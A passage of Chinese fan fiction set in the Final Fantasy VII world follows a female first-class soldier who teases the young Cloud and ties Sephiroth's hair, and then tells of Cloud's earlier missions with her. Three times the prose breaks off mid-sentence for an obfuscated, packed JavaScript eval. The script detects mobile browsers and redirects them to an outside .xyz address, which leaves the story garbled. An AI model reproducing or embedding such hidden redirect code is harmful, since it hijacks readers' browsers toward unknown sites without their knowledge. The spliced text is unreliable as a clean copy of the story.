“萨菲罗斯?他现在可没空管你摘不摘头盔。” 我伸手指了指台上,“你看他那样子,像是在乎一个小兵戴没戴铁罐头的样子吗?他现在想的肯定是怎么才能快点结束这无聊的仪式,然后回去保养他的宝贝长刀,或者给他那位‘姐姐’我带点好吃的。 “再说了,规矩是死的,人是活的。真正的强者,是懂得什么时候可以变通,而不是死守着条条框框当个木头人。你想当英雄,连这点‘叛逆’的勇气都没有?” 说这么一大堆,其实我就是想找点乐子。 他越不情愿,我越想看。 少年头盔下的蓝色眼睛闪烁不定,一会儿看看我,一会儿又不受控制地瞟向台上的萨菲罗斯。握着步枪的手松了又紧,紧了又松。 最终,像是下定了什么决心,他深吸了一口气,放在头盔卡扣上的手微微颤抖,但动作却带着一种豁出去的坚定。 一头略显凌乱的金色短发,发梢有些不听话地向上翘着,像是某种倔强的植物。他的脸庞还带着少年的稚气,五官清秀,皮肤白皙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479165|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但眉宇间却透着一股与年龄不符的执拗。最引人注目的是那双蓝色的眼睛,像被雨水洗过的天空,清澈明亮,此刻正因为紧张和不安而微微闪烁着,盯着地面。 像个陆行鸟。 我扑哧一声笑出来。 笑声在安静的角落里显得有些突兀,面前的金发小兵被我这没头没脑的笑声弄得更不知所措了,他那双清澈的蓝色眼睛猛地抬起来看向我,随即又飞快地垂下去,视线落在自己那双擦得锃亮的军靴上。 “长官,我不觉得有什么好笑的……” “你像个陆行鸟。” “!!!” 金发少年猛地抬起头,那双清澈的蓝色眼睛因为震惊而睁得溜圆,仿佛真的听到了什么不可思议的侮辱。脸颊上的红晕迅速蔓延开来,从脖颈一直烧到耳根,让他原本白皙的皮肤透出些许粉色。 “陆、陆行鸟?!长官!我、我怎么会像陆行鸟!请您不要开这种玩笑!这太失礼了!”他急促地反驳,声音因为激动而拔高,又在意识到自己失态后猛地压低,带着一种不敢发作的憋闷感。 “哪里不像了?”我饶有兴致地歪头打量他,手指点了点他那头不听话、向上翘起的金色短发。 “你看你这头发,金灿灿的,毛茸茸的,不就跟陆行鸟脑袋上的毛一样吗?还有你这表情,跟它们被吓到要逃跑的时候一模一样。” 他被我这番“陆行鸟”的比喻气得脸颊通红,那双清澈的蓝色眼睛瞪着我,里面混合着羞恼和一种难以置信的情绪,仿佛我刚刚指着太阳说它是绿色的。 金色的发丝似乎因为主人的激动而更显蓬乱,真像只炸毛的幼鸟。 “我、我的头发才不是毛!这是正常的头发!而且,表情是因为……是因为长官您说的话太奇怪了!谁、谁会像陆行鸟啊!它们是鸟,我是人!这根本就不一样!” 他试图据理力争,声音因为急切而有些发颤,抱着头盔的手臂绷得紧紧的,像是在保护自己最后的尊严。 我哦了一声,伸出手戳了戳他翘起来的头发。 “你看,你着急的样子更像了。” “请您不要再说这种奇怪的话了!我…我叫克劳德·斯特莱夫!不是什么陆行鸟!” 他终于把名字报出来了,像是耗尽了全身的力气,又像是终于找到了反击的武器——虽然这武器听起来毫无杀伤力。 我挑了挑眉,往后稍稍坐了一下,换了个舒服的姿势,视线顺便瞥到萨菲罗斯那边,他正好与我在空中对视,表情让人捉摸不透。 他怎么又不高兴了? 回过神,对面的少年没有说话了,又好像是在等待着什么。 “陆行鸟,你在等什么?” “……” 克劳德似乎想说些什么,但抿着唇,安静了,这副模样和刚刚的有些不一样,透着点真的沮丧。 什么意思啊…… 看起来又有一个人不高兴了。 最近奇怪的事情真多,先是杰内西斯长出翅膀,后是萨菲罗斯生气,现在这个小兵也不开心了。 这时,大厅里似乎响起了一阵更热烈的掌声,大概是哪个大人物又讲完了话。我朝里面瞥了一眼,才到第四个部长。 真是的,迟早有天我要把神罗砍穿。 继续找事做吧。 "想看我的脸吗?" 我拍了拍旁边少年的脑袋,他才从自己的思绪中脱出,发出了一个茫然的音节。 “看…看您的脸?”他重复了一遍我的话,声音细弱得像蚊子叫,“长、长官…这…这样不好吧?您不是说…会引起骚动吗?而且…而且大会还在进行中…” 他居然还真的相信了会引起骚动这种话。 我觉得他这副紧张又期待的样子更有趣了,没等他开口,手指就勾住面罩的边缘,动作随意地往下一拉。那块遮挡了我大半张脸的黑色皮革被轻易剥离,露出了完整的面容。 对面的小陆行鸟瞪大了眼睛,头盔都要被他扣掉了。 呵呵正常反应,毕竟我这么好看。 过了好一阵,他才像是重新找回了呼吸的能力,猛地吸了一口气,又慌乱地咳了两声,脸颊再次不受控制地泛起红晕。 少年抱着头盔的手臂有些发软,视线慌乱地从我的脸上移开,又忍不住偷偷瞟回来。 “长、长官……您……您真的……真的和萨菲罗斯将军……” 他终于找回了自己的声音,但依旧断断续续,充满了难以置信的惊叹,“我、我之前以为您是在开玩笑……没想到……您真的和将军长得这么像……特别是眼睛……但是感觉上……您好像……更……更让人容易接近一点?啊不不不!我的意思是……您看起来……也、也很有气势!非常符合您的身份!” 他语无伦次地试图表达自己的震惊,努力寻找着合适的词语,结果越说越乱,脸也越来越红。 “哦?容易接近?” 我重复着他的形容词,觉得有点新鲜。这还是第一次有人用这个词来形容我。 通常别人看我的眼神,要么是恐惧,要么是好奇,要么就是像看什么珍稀动物,或者是看到一个定时炸弹似的。 “是吗?那你觉得,我和萨菲罗斯,谁更帅一点?” "长官……不是用帅气来形容的吧?就是……感觉很可爱,很漂亮,然后很洒脱……" 我的笑容消失了。 23. 第21章 可爱?漂亮?洒脱? 这都是些什么形容词?我嘴角那点刚升起的弧度瞬间垮塌,像是被人兜头浇了一盆冷水。 我一直觉得,要形容我和萨菲罗斯这种类型,就该用“帅气”、“强大”、“冷酷”这类词语,怎么到了这陆行鸟嘴里,就变成了“可爱”和“漂亮”? 我眯起眼睛,莹绿色的光芒在眼底微微收束,“你说什么?”声音里的温度骤降,带着几分不加掩饰的不爽。 他往后靠了靠后,被我突然的变脸吓了一跳,眼看我好像要把他切成两半,克劳德补救似的急忙开口。 “……长官很帅气!” 我呵呵一声,勉强决定放过他,只是突然从他手里抢走那个头盔。 我一直有些好奇神罗兵的这种头盔里会是什么视角,没等克劳德反应过来,我就自顾自的戴上了。 头盔猛地扣在头上,视野瞬间被限制在一个狭窄的矩形框里。 眼前的一切都隔了一层暗色的滤镜,会场远处的光芒变得有些模糊不清,连带着总裁那嗡嗡作响的演讲声也沉闷了许多,像是隔着厚厚的墙壁。一股淡淡的、混杂着金属、皮革以及某种…嗯…少年汗味的微弱气息涌入鼻腔。头盔内部的填充物还算柔软,但整体感觉沉甸甸的,压得我脖子有点不舒服。 我晃了晃脑袋,感受着头盔带来的奇特体验。视野两侧几乎是全黑的,只有正前方一块区域可见,怪不得这些小兵站岗时都目不斜视,原来是物理限制。 “喂,陆行鸟,”我转过头,声音在头盔里嗡嗡作响,听起来怪怪的,“你们平时就戴着这种东西巡逻?能看清敌人吗?怕不是连自己人走过来都认不出来吧?” 克劳德被我这戴着他头盔后发出的、瓮声瓮气的问题问得一愣,那双清澈的蓝色眼睛又眨了眨,像是没反应过来我戴着他的“装备”反过来质询它的实用性。 他下意识地挺直了腰板。 “当、当然能看清了,长官!”克劳德几乎是立刻反驳,声音因为急切而有些走调,那双蓝眼睛睁得大大的,努力想表达出装备的可靠性。 "这头盔是神罗最新改良的型号!视野是经过精密计算的,足够应对大部分战斗情况了!而且,它能有效防御流弹和爆炸冲击,保护头部的安全才是最重要的,用了这么久,我并不觉得…" 我哼了一声,在他伸出手想要拿回来的时候,偏过了脑袋。 银色的鬓角卡在卡扣旁,有些痒。 “给我玩玩嘛,我们不是朋友吗?” “…!!” 他好像十分震惊的样子,顺带着稍稍低下了头,想要说什么却又说不出来的模样让人想笑。 有些憋屈,又有些少年的不情愿,但带着点淡淡的期待。 说到底,还是因为她是长官,不是吗? 也不是他自己觉得… “那么…您叫什么名字呢?” “我?” 顺便把名字告诉他,我将手在面前的视野晃了晃,确实能够看的清楚,是要稍微适应一下吧。 “嘛,这头盔挺好玩的……你以后就是我的小弟了。” 陆行鸟瞪大了眼睛,随即徒劳的抗议着。 “……小弟什么的也太奇怪了吧!” “奇怪?哪里奇怪了?我跟你说……” 我晃了晃戴着头盔的脑袋,感受着内部填充物摩擦着我的头发,视野跟着上下颠簸。 这装备还是不舒服。 正当我准备向他介绍当我小弟的好处时,那边的克劳德突然不说话了。 感觉头上有什么东西压上来的触感,接着,头顶的重量骤然消失,视野豁然开朗。 那顶沉重、视野狭窄的头盔被一只修长、戴着黑色皮革手套的手轻松取下。 我甚至没看清动作,只感觉一阵微风拂过头顶,带着熟悉的、属于萨菲罗斯身上那混合着某种高级香氛和淡淡魔晄的气息。 他不知何时已经无声无息地站在了我们面前,高大的身躯几乎完全挡住了从会场内投来的光线。 我才发现此刻会议已经到了末尾,除了看门的士兵外,已经没什么人了。 萨菲罗斯这是什么表情,难道他吃炸药了吗? 我欠了他八百万Gil似的。 “干什么,我玩一下而已,会议结束了,你不用去做任务吗?” 站在一旁的克劳德,在我头盔被拿掉的瞬间就立刻绷直了身体。 他那双清澈的蓝色眼睛里充满了惊慌失措,视线在突然出现的萨菲罗斯和我之间来回扫动,甚至不敢直视萨菲罗斯超过一秒。 “……暂时不需要。” 他的声音低沉平稳,听不出什么波澜,但就是让人觉得不舒服。 “啧……好了好了,我们走吧。” 我看他这副紧绷的模样,就随意从他手里把克劳德的头盔救出来,接着抛给某个陆行鸟,拉着萨菲罗斯的军装袖子就走了。 “拜拜啦克劳德,下次我再来找你玩。” 金发的少年抱着自己的头盔,他想要说的话语再次咽进了嘴里,最后只是挺着腰望着我们的背影。 啊,他应该是相当崇拜萨菲罗斯的吧。 下次我帮他要一些萨菲罗斯的本人周边好了。 我拽着萨菲罗斯那身笔挺军装的袖子,毫不客气地把他往外拖。 他步子大,但我力气也不小,硬是被我拉得踉跄了一下才跟上我的节奏。那身昂贵的布料在我手里皱成一团。 走廊里空旷无人,只有我们俩的脚步声在光滑的大理石地面上回荡,显得格外清晰。 萨菲罗斯开口了。 “你换头绳了?” 他的问题突兀地响起,砸在空旷的走廊里,带着点奇异的回音。 我拽着他袖子的动作顿了一下,下意识地摸了摸后脑勺那根新发带。 “哦,这个啊,”我随口应着,继续往前拖他,感觉他脚下似乎多了点不易察觉的阻力,“之前的那个不是被你打没了吗?总不能一直披头散发吧,怪麻烦的。” 萨菲罗斯任由我拖着,步伐却似乎刻意放慢了一些,迫使我也得跟着慢下来。 这家伙今天怎么回事?平时走路带风,恨不得一步跨越半个米德加,我得小跑才能跟上他,现在倒好。 “你走快点行不行?”我回头瞪他一眼,“磨蹭什么呢?我要饿死了,你再这样我自己去吃饭了。” 我的抱怨似乎没有起到任何加速作用,反而让萨菲罗斯的脚步更加不紧不慢。他垂眸看着被我拽得皱巴巴的军装袖口,那双魔晄绿的眼睛里情绪不明。 “之前的那个……”他重复着我的话,声音平稳无波,听不出喜怒,“只是训练中的意外损耗。” “……而且,我给你买了新的。” “啊,但是我已经有了,等这个坏了你再给我吧。” 我继续尝试拽着他往前走。 萨菲罗斯的声音在我身后响起,音调依旧平稳,“发带这种东西,很容易磨损,尤其是经常战斗的话。” 他停顿了一下,我能感觉到他落在我后脑勺上的视线,那目光如有实质,带着一种审视的意味,“你这条看起来…材质很普通。” “普通怎么了?能用就行。” 我没好气地回了一句,手上加了把劲,试图把萨菲罗斯拖得更快些。 “再说了,东西好不好用,跟它贵不贵有什么关系?这条挺结实的,我很满意。” 我感觉他似乎轻轻“嗯”了一声,那声音像是从鼻腔里发出来的。 然后,他那戴着黑色皮革手套的手,轻轻地,却不容置疑地按在了我抓着他袖子的手背上。 银发英雄的动作很轻,但那微凉的触感和不容反抗的力道,还是让我下意识地松了点力气。 “扎克斯送的?” 他突然开口,像是在陈述一个事实,而不是疑问。 “你怎么知道?” 我有些惊讶地回头看他,正好对上他那双深邃的魔晄眼瞳。 这是什么眼神? 他没有回答我的问题。 “扎克斯是很活跃的个性,就像安吉尔之前说的……像条小狗。” ?? “小狗?” 他现在突然说这个做什么? 我呢喃着这个奇怪的比喻,忍不住侧头打量他。 萨菲罗斯的侧脸在走廊顶灯投下的光影里显得轮廓分明,那双魔晄绿的眼睛微微垂着,视线落在我们交叠的手上,看不出具体的情绪。 “总是摇着尾巴跟在你身后,渴望你的关注和认可,听到你的命令就立刻冲出去,”萨菲罗斯的声音依旧平稳,但细听之下似乎带着点不易察觉的冷意,“这不是小狗是什么?” 他终于抬起眼,目光越过我的肩膀,望向走廊深处,好像那里有什么东西一样,“而且,还会随地捡一些……不怎么样的东西送给你。” 我皱起眉头,有点不明白他这拐弯抹角的贬低是什么意思。 而且我要饿死了。 “你别管这个头绳了行吗?我要吃人了。再不走,我就先把你这条胳膊卸下来当零食啃了!” “还有,你别跟我说你不饿,刚刚在那里坐了这么久……” 萨菲罗斯被我这番毫不客气的威胁弄得脚步一顿,那只按在我手背上的手微微收紧,随即又松开了。 他轻轻叹了口气,那声音细微得几乎被走廊的回音吞没,但那份熟悉的无奈和纵容却清晰地传递了过来。 萨菲罗斯终于不再刻意放慢脚步,任由我拉着他快步走向电梯口。 电梯内,他也像个哑巴似的不说话,我另外一只空闲的手摸了摸肚子。 奇怪,饿了一段时间,反而没那么饿了。 于是我开口跟他闲聊。 “那天的苹果吃了吗?好吃吧。” “嗯,收到了。”他回答得简洁,并没有直接说吃没吃,或者好不好吃。 “味道如何?”我追问,没注意到他刻意避开了重点,“是不是比食堂的营养剂好吃一万倍?下次有机会我再给你带点,不过巴诺拉炸了,可能要去别的村子找找看有没有类似的。” 电梯“叮”的一声到达了我们的楼层,门缓缓滑开。萨菲罗斯率先走了出去,我跟在他身后。 他走得很稳,步伐不疾不徐,那身笔挺的军装在走廊灯光下勾勒出冷硬的线条。 “味道不错,清甜。” 我又凑过去,然后开始跟他抱怨起那次莫名其妙的任务。 “萨菲罗斯,我跟你说,上次我和扎克斯一起去巴诺拉村……然后,杰内西斯突然飞走了,是不是全都很莫名其妙?” 他已经帮我点好了我们的餐,在我絮絮叨叨的说着任务细节的时候,时不时显露出若有所思的表情。 “……这样啊,看起来安吉尔和杰内西斯不会再回来了。昨天,神罗内部下了追杀令。” 我正说到杰内西斯那对突然冒出来的黑色翅膀有多么不符合常理,还有安吉尔那老好人怎么就跟着一起跑了,萨菲罗斯就冷不丁地来了这么一句结论和通知。 “这么快?!不过,萨菲罗斯,你下得去手吗?” “……” 萨菲罗斯没有说话。 我笑了笑,伸出手忽然扯了扯他脸颊旁的银发,男人瞥了我一眼。 “谁会听神罗的命令?不过嘛,我倒是很赞同把杰内西斯的手脚打断带回来。我可有太多事想问他了。” 大概是有些没控制好力道。 因为我看见萨菲罗斯那双魔晄绿的眼睛瞬间眯了一下,如同被阳光刺到的猫。 但他并没有推开我的手,只是任由我那点小小的动作。 他刚刚是笑了吗? 有什么好笑的,难道是觉得我打不过杰内西斯?开玩笑…… 我的想法也转的很快,一下就跳开了,兴致勃勃的跟他建议。 “萨菲罗斯,你要不要也扎个低马尾呢?哎呀,试试我的发型嘛。” 让我看看同一个发型到底是谁更帅。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479166|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿唇,淡淡的笑了一下,今天我终于在这张脸上看见明显的积极情绪了。 “那你帮我。” 现在我们点的套餐还没上,我和萨菲罗斯从小吃到大的科学部专属餐厅效率总是很低,现在正方便我去进行尝试。 我一把解下自己发尾的发绳,啪唧一下坐在他旁边。 “好耶,你别动。” 我侧过身,更靠近他一些,几乎是挤在了他旁边的座位上,“要是扎歪了可不怪我,是你头发太滑了。” 我一边说着,一边伸出空着的那只手,开始拢起他那头比我的还要长、还要顺滑的银发。 他的头发触感冰凉,如同最上等的丝绸,每一根都带着惊人的光泽和韧性,从我的指缝间滑过,带起一阵细微的、几乎听不见的沙沙声。 这么多头发,聚拢起来竟然相当有分量。我笨手笨脚地试图把它们全部抓在手里,梳理到他脑后较低的位置。 萨菲罗斯微微侧着头,任由我的手指穿梭在他的发间。他的身体保持着放松的姿态,但当我的指尖不经意间擦过他颈后的皮肤时,能感觉到他肌肉非常细微地紧绷了一下。 “轻一点,”他开口,声音带着点淡淡的无奈,“扯到的话,修复起来很麻烦。” 他指的是他那些宝贝头发。 这家伙对头发的保养简直到了偏执的程度,用的护发素比我的零食还贵。 “知道了知道了,我又不是故意的。” 我嘟囔着,终于把那一大把银发勉强拢在了一起。接着,我拿起那根黑色的皮革发带,准备往他头发上缠。 就在发带触碰到他发丝的瞬间,我清晰地感觉到萨菲罗斯的身体再次几不可查地僵硬了一下。 虽然只是一刹那,快得几乎像是我的错觉,但我还是捕捉到了。 他那双魔晄绿的眼睛微微垂着,视线落在桌面上,长长的银色睫毛投下一小片阴影。 这是什么反应? 他不会是嫌弃我用过的发绳吧? 嫌弃我也要绑。 萨菲罗斯的指尖在桌面上轻轻敲击了一下,动作很轻微。 我没管他那点小动作,把发带绕了几圈,试图打个结实的结。但这皮革材质比我想象的要硬一些,加上他的头发又多又滑,我费了点劲才勉强固定住。 结尾那个小小的金属片随着我的动作晃动着,在他银色的发瀑中留下一道转瞬即逝的轨迹。 “好了!” 我拍了拍手,退开一点距离,欣赏着我的“杰作”。 一个低低的马尾束在他颀长的颈后,大部分银发顺从地垂落,只有几缕不太听话的发丝散落在他的肩上和军装领口。 不得不说,这家伙的脸和身材确实是犯规级别的。同样的低马尾发型,扎在他头上,配上他那身笔挺的军装和优雅的气质,非但没有减弱他的气场,反而因为露出了完整的颈部线条,增添了几分说不出的…… 那个形容词叫什么来着……? 啧,总而言之,比起我差了一点吧。 “怎么样?是不是跟我一样英姿飒爽?” 我双手叉腰。 萨菲罗斯抬手,指尖轻轻触碰了一下脑后的发带,感受着那皮革的质感。 然后,他抬起眼,那双深邃的魔晄眼瞳看向我,嘴角勾起一个浅浅的弧度,语气平淡:“嗯,绑得很…有你的风格。” 松垮,随意,而且…用别人的东西。 我刚把那根黑色的皮革发带从他那一头过于顺滑的银发上解下来,哼着不成调的曲子,打算重新给自己扎上。 毕竟披头散发虽然看起来可能有点“高手风范”,但打起架来甩来甩去的也挺碍事。 屁股刚离开冰凉的座椅,还没完全站直,一股力量就按在了我的肩膀上,把我重新压回了座位。 “啧,干什么?”我不满地抬头,正好对上萨菲罗斯那双深不见底的魔晄眼瞳。 他什么时候动作这么快了?我都没反应过来。 —— “我帮你绑。” 萨菲罗斯伸出另一只手,动作自然地从她微张的手指间取走了那根黑色的皮革发带。指尖触碰到那略显粗糙的皮革表面,以及末端那个小小的、刻着模糊字迹的金属片。 【Zack for ——】 他并没有显露出任何异样,只是用指腹轻轻摩挲了一下那块金属片,感受着上面刻痕带来的微弱凹凸感。然后,松开按在她肩上的手,转而用空着的那只手,以一种奇特的力道,轻轻将她不安分的身体转向自己。 “别乱动。”萨菲罗斯的声音依旧平稳,“头发会散开。” 他的手指开始拢起她散落的银发。她的发丝比他的稍显粗硬一些,带着一股阳光晒过和隐约的…苹果清香? 发量不少,但远不及他。 银白的发丝在他戴着黑色手套的指间流动。 “啧,你轻点行不行?又不是在拔草!”她不耐烦地抱怨着,试图扭动身体,却被他用手臂不着痕迹地固定住。 用这条吗? 念头只是一闪而过。萨菲罗斯修长的手指灵巧地将发带绕过发束,皮革与银发摩擦,发出细微的声响。 他打结的动作沉稳而利落,不像她刚才那样随意。手指控制着力道,将发带系紧,确保它能牢固地束缚住那不羁的银发,但又不会让她感到丝毫勒痛。末端的金属片垂落在发尾,随着他收手的动作轻轻晃动了一下,在他眼前划过一道短暂的银色弧线。 一个低低的、束在她颈后的马尾完成了。黑色的发带在银白的发丝间显得格外醒目,那小小的金属片贴服在发束侧面。 萨菲罗斯松开手,指尖最后滑过发尾,感受着那柔顺的触感。 目光在她束好的头发上停留了一瞬,最终落回她那双因为被强行按回座位而可能带着些许不满的、明亮的莹绿色眼眸上。 但她却好像在竭力隐藏什么的偷笑。 视角转到餐桌上,不知为何,萨菲罗斯的碗里塞满了青椒。 “。” 24. 第22章 事实上,那不是克劳德与她的第一次见面。 第一次,是在一次被标记为“收尾”的任务中。 他和一群同样穿着标准神罗步兵制服、戴着遮蔽面容头盔的同僚,在大厅里列队等候。指令简洁,行动迅速,但本该主持行动的长官却迟迟未现身。 时间一分一秒流逝,最终,经验丰富的队长挥了挥手,示意他们自行登机出发。没有人对此表示异议,似乎这种情况并非首次。 直升机上,也不见那位的身影。 打开终端内显示的任务报告,果不其然,在为首的执行人处,写着一个字母。 【——H】 一个代号,而非姓名。 当他们抵达目的地时,战斗早已尘埃落定。 空气中弥漫着金属烧焦和某种不明液体混合的刺鼻气味。放眼望去,遍地狼藉。扭曲变形的机械残骸散落各处,几具敌人的尸体倒在地上,伤口平滑得如同被最锋利的刀刃瞬间切割,没有一丝多余的挣扎痕迹。 同僚们已经熟练地开始工作,清理现场,回收有价值的物品,掩盖战斗痕迹。克劳德也加入了他们,动作有些僵硬。 他再次看向终端,任务状态早已更新为“已完成”。 外面的空地忽然响起直升机轰隆作响的声音,在忙碌的小兵们纷纷抬起头,视力比较好的能够遥望到那个身影。 一身漆黑的特殊制服,兜帽盖住了上半张脸,再往下,是带着些许奇怪符号的黑色面罩,遮住了下半张脸。 “……” “……那位好像也是1st……” 旁边的同僚低低呢喃着什么,克劳德稍稍愣怔了下后,就继续低头处理现场了。 第二次也是在任务里,大概是清理掉五台的剩余势力。 【——H】 不陌生的标志。 机舱空间宽敞,足以容纳一个小型步兵班和大量装备。 那个黑色身影独自坐在靠窗的位置,身体微微蜷缩着,像是对周围的一切都漠不关心。 克劳德坐在离对方不远的地方,按照规定仔细检查着降落伞包和武器弹药。他能感觉到,不止是他,机舱里其他的士兵,目光也时不时地、带着好奇和一丝紧张,飘向那个安静的黑色身影。 与上次不同,这次他能更近距离地观察。 那身制服的材质特殊,似乎能在光线下吸收部分光芒,更显深邃。对方的坐姿十分随意,甚至可以说有些懒散。而且“他”似乎对窗外的云层更感兴趣,偶尔会微微侧过头。 不止是他,其他的几个神罗兵也在打量着这次的“长官”。 隐隐约约,能够在对方转身望向外侧的时候,瞥见一抹不易察觉的莹绿色光芒。 "…几点了?" 清脆的女声响起,机舱内安静了一瞬,大多的人都没反应过来。 年龄并不大,大概是成年没多久,甚至有些接近少女的嗓音。 克劳德手上的动作停顿了,检查弹药带的手指僵在半空。他猛地抬起头,和其他几个同样愣住的士兵一样,将视线再次投向那个靠窗的黑色身影。 第一次的惊鸿一瞥给他留下了较为深刻的印象。 大概是这个年龄段的少年对这种冷酷的特质有些许不自觉的向往,克劳德在私底下猜测了很多关于这位“神秘1st”的形象。 对方作为“1st”,行事神秘,手段利落,应该是个像萨菲罗斯英雄一样冷静干脆的强者,可能比起英雄多了些许冷漠,因为在任务中没有见过对方与他人沟通。 机舱内的寂静只持续了短短几秒,便被旁边一位资历稍老的士兵打破。他清了清嗓子,语气恭敬地回答:“报告长官,现在是上午9点45分。预计还有15分钟抵达任务区域。”他显然也对这突如其来的女声感到意外,但良好的军人素养让他迅速调整过来。 “哦。” 那个被称为“长官”的黑色身影只是淡淡地应了一声,似乎对时间并不怎么在意。 她依旧维持着那个靠窗的姿势,兜帽和口罩将她的面容遮挡得严严实实,抬头的动作让领口下滑了些许,只留下一小片裸露的颈部肌肤,好像是许久未见光,白皙的晃眼。 机舱内再次陷入一种混合着引擎轰鸣和士兵们细微呼吸声的沉默之中。 克劳德的脸颊残留着温热,那是为自己先前那些不切实际的幻想而生的羞赧感。 什么冷酷的强者…原来是个女孩子吗?可她执行任务时的手段…那些干净利落的斩击,根本不像…… 哗啦—— 所有人的目光集中在突然拉开的舱门上。 外面卷起的风刮起制服的衣角,猎猎作响,对方的身后背着一把半人长的大太刀,不知什么时候装备上的。 些许支离破碎的字句随着风吹进了他们的脑海里。 “我有急事,先去了。15分钟内任务会完成,你们直接返回米德加吧。” 那个身影径直跳了下去。 如同投入大海的一滴水。 没有降落伞。 舱门外的狂风依旧在呼啸,但那个黑色的身影已经消失在云层之下。 机舱内陷入一片死寂,只剩下引擎的轰鸣和每个人粗重的呼吸声。克劳德和其他士兵一样,还维持着看向舱门的姿势,脸上是未褪去的震惊。 10分钟后,终端内收到了任务完成的通知。 第三次见面。 【H】 又是这个代号。 那是一个漆黑的夜晚,地点在米德加外围的废弃区域,空气中弥漫着腐朽金属和某种不明生物□□的腥臭。 他们的任务是清剿一批在夜间异常活跃、开始威胁到附近巡逻路线的变异魔兽。命令下达得很急,许多士兵,包括克劳德自己,都是从睡梦中被紧急召集起来的,脸上还带着困倦。 但对方好像不一样。 她走在队伍的最前方,黑色的兜帽压得很低,只露出线条紧绷的下颌和被口罩遮挡的部分。步伐带着一种显而易见的烦躁和疲惫,脚步落地时轻时重,偶尔还会踢到地上的碎石,发出轻微的声响。 那把大太刀并没有收回刀鞘,暗沉的刀身上凝固着斑驳的、尚未完全干涸的暗红色血迹,在周围偶尔闪过的探照灯光下反射出令人心悸的光泽,看起来像是才结束了一场恶战,就又投入了新的任务。 周围的士兵们显然也注意到了长官的反常状态,没有人敢出声打扰,只是沉默地跟在她身后,握紧武器,警惕地观察着四周黑暗中可能潜藏的危险。废弃工厂的阴影如同怪兽张开的巨口,远处传来令人不安的低沉嘶吼和爪子刮擦金属的声音。 突然,一道黑影从侧面的断墙后猛扑出来,带着腥风扑向走在最前面的身影。那是一只体型如同猎犬、却长着昆虫般复眼和镰刀状前肢的魔兽,速度极快。 克劳德和其他士兵几乎同时举起了枪,准备射击,但他们的动作终究是慢了一步。 她甚至没有回头,只是手腕随意地一抖。背后那把沾着血污的大太刀发出一声轻微的嗡鸣,一道银亮的弧光在黑暗中一闪而逝,快得如同错觉。 “噗嗤——” 粘稠的液体喷溅声响起,伴随着重物落地的闷响。那只凶猛扑来的魔兽,身体从中间被整齐地切开,断面光滑如镜,内脏和绿色的□□流了一地。整个过程快到克劳德甚至没看清她是如何拔刀和收刀的,仿佛那道致命的弧光只是凭空出现。 她停顿了一下,似乎是甩了甩刀锋上沾染的污物,然后继续向前走去,步伐依旧带着那种不耐烦的凌乱。 好强…… 走到一半,面前是明显的巢穴领地,她停了下来,转过头,语气散漫。 “你们在这里等着吧,20分钟不到就可以回去睡觉……至于报告嘛,就写点什么英勇作战啊,奋不顾身之类的,再加些地点时间环境细节应该就可以了。” 在她身畔,有个新兵紧张的开口。 “长官,深夜的行动很危险,你——” “所以我去,效率更高。你们工资很高吗?玩什么命。” 克劳德和其他士兵还没来得及消化这句话里奇异的逻辑和关怀(?),那个黑色的身影已经转过身,没有丝毫犹豫,径直走向了前方那片散发着浓郁腥臭和不祥气息的黑暗巢穴入口。 留下来的士兵们面面相觑,握着武器的手心里都渗出了汗。空气中只剩下远处魔兽隐约的嘶吼、风吹过废弃钢架的呜咽,以及他们自己略显急促的呼吸声。 “……她…她就这么进去了?” 一个年轻的士兵,大概和克劳德一样是新兵,声音带着难以置信的颤抖,他下意识地朝入口的方向挪了半步,又被旁边经验丰富的老兵按住了肩膀。 “别冲动,小子,”老兵的声音低沉而沙哑,眼睛紧盯着黑暗的入口,手却稳稳地搭在新兵肩上,“这是长官的命令。我们只需要在这里待命,相信她就行了。” 大约过了十七八分钟,克劳德口袋里的终端发出了轻微的震动。他立刻低头查看,屏幕上显示着一条简洁的系统通知:【任务:废弃区域魔兽清剿行动 - 已完成】。 —— 摊上神罗真是这辈子有了。 又是一次夜间任务,凌晨三点,我刚去珠诺那边扫除了下本地的“雪崩”突击小队,又要赶回米德加周边处理杰内西斯复制体对神罗兵器零件库的突袭。 【在吗?】 直升机上,我打着哈欠,给某个同为打工皇帝的白毛发消息。 别告诉我他睡了。 【在。】 【太好了,你也在做任务!我从珠诺带了乡下的特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479167|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产水果,吃不吃?】 【我的任务估计五点结束,回去我等你?】 【?这么早?我这里还有两单,凭什么?】 【今天早上我就出发了,你不是还在休息吗?】 【切,我到了,待会聊(扎克斯呲牙笑.jpg)】 直升机正好停泊,我打了个哈欠后,戴好面罩,随便拿衣角擦了擦满是血的刀身,就走了下去。 这次的任务只给了我三四个小兵。 